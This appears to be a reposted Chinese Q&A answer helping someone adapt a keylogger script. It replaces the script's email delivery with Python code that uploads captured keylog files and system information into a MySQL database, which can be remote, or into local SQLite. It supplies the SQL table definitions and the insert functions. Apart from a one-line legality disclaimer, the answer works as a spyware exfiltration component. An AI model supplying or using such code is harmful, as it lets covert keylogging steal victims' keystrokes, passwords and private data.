如何将Python文件生成的数据传输至数据库以替代邮件发送
实现方案
1. 数据库表结构准备
首先建议用MySQL作为远程存储库,先执行以下SQL建库建表:
CREATE DATABASE IF NOT EXISTS keylog_records DEFAULT CHARSET utf8mb4; USE keylog_records; CREATE TABLE IF NOT EXISTS keylog_files ( id INT AUTO_INCREMENT PRIMARY KEY COMMENT '自增主键', upload_time DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '数据上传时间', filename VARCHAR(255) NOT NULL COMMENT '日志文件名', file_content LONGBLOB NOT NULL COMMENT '日志文件原始内容', system_info TEXT COMMENT '对应系统信息', INDEX idx_filename (filename) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
如果不需要远程存储只是本地存,可以跳过上面的步骤直接用Python自带的SQLite,不需要额外部署数据库服务。
2. 依赖安装
如果用MySQL,先安装对应Python库:pip install pymysql
如果用SQLite无需额外安装依赖。
3. 代码替换
把原有send_email函数替换为以下数据库存储函数即可:
MySQL版本
import pymysql # 数据库连接配置,替换为你自己的实际参数 DB_CONFIG = { "host": "127.0.0.1", # 远程数据库就填对应ip "user": "root", # 数据库用户名 "password": "your_db_password", # 数据库密码 "database": "keylog_records", "port": 3306 } def save_log_to_db(system_information, filename, attachment_path): # 读取日志文件内容 with open(attachment_path, 'rb') as f: file_content = f.read() conn = None try: # 建立数据库连接 conn = pymysql.connect(**DB_CONFIG) with conn.cursor() as cursor: insert_sql = """ INSERT INTO keylog_files (filename, file_content, system_info) VALUES (%s, %s, %s) """ cursor.execute(insert_sql, (filename, file_content, system_information)) conn.commit() print("日志存储成功") except Exception as e: if conn: conn.rollback() print(f"存储失败,错误:{str(e)}") finally: if conn: conn.close()
SQLite本地版本
import sqlite3 def save_log_to_sqlite(system_information, filename, attachment_path): with open(attachment_path, 'rb') as f: file_content = f.read() # 数据库文件默认存在脚本运行目录,命名为keylog.db conn = sqlite3.connect('keylog.db') cursor = conn.cursor() # 首次运行自动建表 cursor.execute(""" CREATE TABLE IF NOT EXISTS keylog_files ( id INTEGER PRIMARY KEY AUTOINCREMENT, upload_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP, filename TEXT NOT NULL, file_content BLOB NOT NULL, system_info TEXT ) """) # 插入数据 cursor.execute(""" INSERT INTO keylog_files (filename, file_content, system_info) VALUES (?, ?, ?) """, (filename, file_content, system_information)) conn.commit() conn.close() print("本地日志存储成功")
4. 调用修改
原来调用send_email的位置,直接替换为调用上面的save_log_to_db或者save_log_to_sqlite即可,前三个入参和原有send_email完全一致,不需要调整入参逻辑。
额外提示
原有路径配置代码里File_path和后续使用的file_path大小写不一致,实际运行前请修正避免路径读取报错。请确保你使用键盘记录工具的场景符合当地法律法规要求,不要用于非法用途。
内容的提问来源于stack exchange,提问作者Marwan Kamil
相关产品推荐
相关产品推荐

